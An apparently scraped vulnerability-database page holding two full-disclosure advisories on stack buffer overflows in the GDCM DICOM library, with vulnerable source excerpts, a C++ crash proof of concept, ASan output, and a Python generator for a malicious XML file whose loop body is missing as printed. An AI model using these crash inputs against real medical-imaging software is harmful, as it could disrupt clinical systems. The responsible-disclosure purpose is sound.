(char)(\u00270\u0027 + res);\n sres.insert(sres.begin(), v);\n zero = true;\n for(int i = 0; i \u003c size; ++i)\n {\n zero = zero \u0026\u0026 (addr[i] == 0);\n }\n }\n\n //return sres;\n strcpy(out, sres.c_str()); //, sres.size() );\n return sres.size();\n }\n\nThe \u0027size\u0027 parameter is passed directly to memcpy() without validation\nagainst the 32-byte buffer capacity. Additionally, the subsequent\ngetlastdigit() call and the loop iterating \u0027size\u0027 elements\nall operate without bounds checks.\n\nSince EncodeBytes is a public API, any downstream application that links\nagainst GDCM and calls System::EncodeBytes with size \u003e 32 is vulnerable.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nA PoC was developed that calls the actual gdcm::System::EncodeBytes\nfunction from a C++ program linked against the GDCM library, passing\na size value of 48 to overflow the 32-byte stack buffer.\n\nPoC source code:\n\n#include \u003cgdcmSystem.h\u003e\n#include \u003ccstdio\u003e\n#include \u003ccstring\u003e\n\nint main()\n{\n const int overflow_size = 48; // Exceeds the 32-byte buffer by 16\n unsigned char data[overflow_size];\n memset(data, 0x41, overflow_size); // \u0027A\u0027 pattern\n\n char outbuf[256];\n size_t len = gdcm::System::EncodeBytes(outbuf, data, overflow_size);\n printf(\"EncodeBytes returned length: %zu\\n\", len);\n return 0;\n}\n\nTo build and run the PoC, first compile GDCM with AddressSanitizer\n(ASan) and then compile the PoC linking against the library:\n\nmkdir -p /tmp/gdcmbin\ncmake -S . -B /tmp/gdcmbin \\\n -DGDCM_BUILD_SHARED_LIBS=OFF \\\n -DGDCM_BUILD_APPLICATIONS=OFF \\\n -DGDCM_BUILD_TESTING=OFF \\\n -DCMAKE_CXX_FLAGS=\"-fsanitize=address -fno-omit-frame-pointer -g\" \\\n -DCMAKE_EXE_LINKER_FLAGS=\"-fsanitize=address\"\nmake -C /tmp/gdcmbin -j$(nproc) gdcmCommon\n\ng++ -fsanitize=address -fno-omit-frame-pointer -g \\\n -ISource/Common \\\n pocs/poc1_encodebytes_stack_overflow.cpp \\\n /tmp/gdcmbin/bin/libgdcmCommon.a -o poc1\n\nRunning the PoC triggers the stack buffer overflow, detected by ASan:\n\n $ ./poc1\n ==2703==ERROR: AddressSanitizer: stack-buffer-overflow on address\n 0x7bb2b18f00c0 at pc 0x7fb2b4329714 bp 0x7ffeeda00b20 sp 0x7ffeeda002c8\n WRITE of size 48 at 0x7bb2b18f00c0 thread T0\n #0 0x7fb2b4329713 in memcpy (/usr/lib/libasan.so.8+0x129713)\n\n Source/Common/gdcmSystem.cxx:626\n [160, 192) \u0027buffer\u0027 (line 624) \u003c== Memory access at offset 192\n overflows this variable\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-068\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-121",
"description": "CWE-121",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/84"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://gdcm.sourceforge.net/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/84"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-068]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0435",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/84",
"automated": true,
"contentSha256": "efef70cf82ffb11cf3d41871ea9496a4c83483aed378ce27fd4a5d08ce7d83b8",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/84",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T13:33:26Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0435"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0434
Vulnerability from gna-1988 – Published: 2026-10-02 04:57 – Updated: 2026-10-02 04:57
VLAI
EPSS
VEX
Title
[SYSS-2026-067]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)
Summary
Advisory ID: SYSS-2026-067
Product: GDCM (Grassroots DICOM)
Manufacturer: GDCM Project
Affected Version(s): 3.3.0
Tested Version(s): 3.3.0
Vulnerability Type: Stack-based Buffer Overflow (CWE-121)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2026-07-24
Public Disclosure: 2026-09-23
CVE Reference: Not yet assigned
Author of Advisory: Matthias Deeg, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
GDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,
and processing DICOM (Digital Imaging and Communications in Medicine)
medical imaging files (see [1]).
GDCM's command-line tool gdcmxml, which converts between XML and DICOM
file formats, is vulnerable to a stack-based buffer overflow in the
LoadValueInteger macro. An attacker who can control the XML input
supplied to the gdcmxml command-line application can cause an unbounded
stack buffer overflow, potentially leading to a process crash or arbitrary
code execution in the context of the user running the application.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series
of macros for loading DICOM attribute values from XML, including
LoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble
(line 403). The LoadValueInteger macro declares a fixed-size stack array
and populates it using sscanf() without any bounds checking on the
element count:
#define LoadValueInteger(type) \
case type: \
{ \
int count = 0; \
int values[10]; \
Element<type,VM::VM1_n> el; \
while(strcmp(name,"Value") == 0) \
{ \
READ_NEXT \
char *value_char = (char*)xmlTextReaderConstValue(reader); \
int nvalue = sscanf(value_char, "%d", &(values[count++])); \
gdcm_assert( nvalue == 1 ); (void)nvalue; \
READ_NEXT /*Value ending tag*/ \
name = (const char*)xmlTextReaderConstName(reader); \
READ_NEXT \
name = (const char*)xmlTextReaderConstName(reader); \
} \
el.SetLength( (count) * vr.GetSizeof() ); \
int total = 0; \
while(total < count) \
{ \
el.SetValue( (VRToType<VR::type>::Type)(values[total]), total); \
total++; \
} \
de = el.GetAsDataElement(); \
}break
The variable 'count' is incremented in the loop via the post-increment
operator in the sscanf call (values[count++]) but is never checked against
the array size (10). Any XML input with more than 10 <Value> elements for
a VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the
int values[10] array.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
For demonstrating the sscanf() overflow vulnerability in LoadValueInteger,
a simple PoC non-control-data exploit was developed that crashes the
application.
For this, a malicious XML file with 360 "Value" elements is used. The
sscanf() overflow corrupts a pointer at values[304] on the stack, which is
loaded and dereferenced causing a segmentation fault.
The following Python script creates the malicious XML file:
cat > sscanf_overflow_poc.py << 'PYEOF'
import sys
num_values = 360
output = "sscanf_overflow_poc.xml"
xml = b'<?xml version="1.0" encoding="UTF-8"?>\n'
xml += b'<DicomAttribute tag = "00200010" vr = "IS" keyword = "StudyID">\n'
for i in range(1, num_values + 1):
xml += b'</DicomAttribute>\n'
xml += b'</NativeDicomModel>'
with open(output, 'wb') as f:
f.write(xml)
overflow_elements = num_values - 10
PYEOF
$ gdcmxml -i sscanf_overflow_poc.xml -o out.dcm
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
SySS GmbH is not aware of a security update for the described issue.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2026-07-24: Vulnerability reported to manufacturer
2026-07-31: Vulnerability reported to manufacturer again
2026-09-23: Public release of security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] GDCM project website
https://gdcm.sourceforge.net/
[2] SySS Security Advisory SYSS-2026-067
[3] SySS GmbH, SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.
E-Mail: matthias.deeg (at) syss.de
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS
website.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 4.0
URL: https://creativecommons.org/licenses/by/4.0/deed.en
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | GDCM (Grassroots DICOM) |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "GDCM (Grassroots DICOM)",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Matthias Deeg via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Advisory ID: SYSS-2026-067\nProduct: GDCM (Grassroots DICOM)\nManufacturer: GDCM Project\nAffected Version(s): 3.3.0\nTested Version(s): 3.3.0\nVulnerability Type: Stack-based Buffer Overflow (CWE-121)\nRisk Level: High\nSolution Status: Open\nManufacturer Notification: 2026-07-24\nPublic Disclosure: 2026-09-23\nCVE Reference: Not yet assigned\nAuthor of Advisory: Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nGDCM (Grassroots DICOM) is an open-source C++ library for reading, writing,\nand processing DICOM (Digital Imaging and Communications in Medicine)\nmedical imaging files (see [1]).\n\nGDCM\u0027s command-line tool gdcmxml, which converts between XML and DICOM\nfile formats, is vulnerable to a stack-based buffer overflow in the\nLoadValueInteger macro. An attacker who can control the XML input\nsupplied to the gdcmxml command-line application can cause an unbounded\nstack buffer overflow, potentially leading to a process crash or arbitrary\ncode execution in the context of the user running the application.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe gdcmxml application (Applications/Cxx/gdcmxml.cxx) contains a series\nof macros for loading DICOM attribute values from XML, including\nLoadValueInteger (line 344), LoadValueFloat (line 374), and LoadValueDouble\n(line 403). The LoadValueInteger macro declares a fixed-size stack array\nand populates it using sscanf() without any bounds checking on the\nelement count:\n\n #define LoadValueInteger(type) \\\n case type: \\\n { \\\n int count = 0; \\\n int values[10]; \\\n Element\u003ctype,VM::VM1_n\u003e el; \\\n while(strcmp(name,\"Value\") == 0) \\\n { \\\n READ_NEXT \\\n char *value_char = (char*)xmlTextReaderConstValue(reader); \\\n int nvalue = sscanf(value_char, \"%d\", \u0026(values[count++])); \\\n gdcm_assert( nvalue == 1 ); (void)nvalue; \\\n READ_NEXT /*Value ending tag*/ \\\n name = (const char*)xmlTextReaderConstName(reader); \\\n READ_NEXT \\\n name = (const char*)xmlTextReaderConstName(reader); \\\n } \\\n el.SetLength( (count) * vr.GetSizeof() ); \\\n int total = 0; \\\n while(total \u003c count) \\\n { \\\n el.SetValue( (VRToType\u003cVR::type\u003e::Type)(values[total]), total); \\\n total++; \\\n } \\\n de = el.GetAsDataElement(); \\\n }break\n\nThe variable \u0027count\u0027 is incremented in the loop via the post-increment\noperator in the sscanf call (values[count++]) but is never checked against\nthe array size (10). Any XML input with more than 10 \u003cValue\u003e elements for\na VR handled by LoadValueInteger (IS, SS, UL, SL, US) overflows the\nint values[10] array.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nFor demonstrating the sscanf() overflow vulnerability in LoadValueInteger,\na simple PoC non-control-data exploit was developed that crashes the\napplication.\n\nFor this, a malicious XML file with 360 \"Value\" elements is used. The\nsscanf() overflow corrupts a pointer at values[304] on the stack, which is\nloaded and dereferenced causing a segmentation fault.\n\nThe following Python script creates the malicious XML file:\n\ncat \u003e sscanf_overflow_poc.py \u003c\u003c \u0027PYEOF\u0027\nimport sys\n\nnum_values = 360\noutput = \"sscanf_overflow_poc.xml\"\n\nxml = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\n\nxml += b\u0027\u003cDicomAttribute tag = \"00200010\" vr = \"IS\" keyword = \"StudyID\"\u003e\\n\u0027\n\nfor i in range(1, num_values + 1):\n\n\nxml += b\u0027\u003c/DicomAttribute\u003e\\n\u0027\nxml += b\u0027\u003c/NativeDicomModel\u003e\u0027\n\nwith open(output, \u0027wb\u0027) as f:\n f.write(xml)\n\noverflow_elements = num_values - 10\nPYEOF\n\n\n\n\n$ gdcmxml -i sscanf_overflow_poc.xml -o out.dcm\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nSySS GmbH is not aware of a security update for the described issue.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-24: Vulnerability reported to manufacturer\n2026-07-31: Vulnerability reported to manufacturer again\n2026-09-23: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] GDCM project website\n https://gdcm.sourceforge.net/\n[2] SySS Security Advisory SYSS-2026-067\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n https://www.syss.de/en/responsible-disclosure-policy\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. Details of this security advisory may\nbe updated in order to provide as accurate information as possible. The\nlatest version of this security advisory is available on the SySS\nwebsite.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCopyright:\n\nCreative Commons - Attribution (by) - Version 4.0\nURL: https://creativecommons.org/licenses/by/4.0/deed.en\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-121",
"description": "CWE-121",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-10-02T04:57:33Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/71"
},
{
"url": "https://creativecommons.org/licenses/by/4.0/deed.en"
},
{
"url": "https://gdcm.sourceforge.net/"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.syss.de/en/responsible-disclosure-policy"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/71"
],
"discovery": "EXTERNAL"
},
"title": "[SYSS-2026-067]: GDCM (Grassroots DICOM) - Stack-based Buffer Overflow (CWE-121)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0434",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/71",
"automated": true,
"contentSha256": "6e88c4ea98615ad0e663b5ad6e0c6441536d32492122c2e42eadb9cf71bc76f2",
"evidenceScore": 10,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/71",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-09-23T13:33:17Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-10-02T04:57:33Z",
"dateUpdated": "2026-10-02T04:57:33Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0434"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}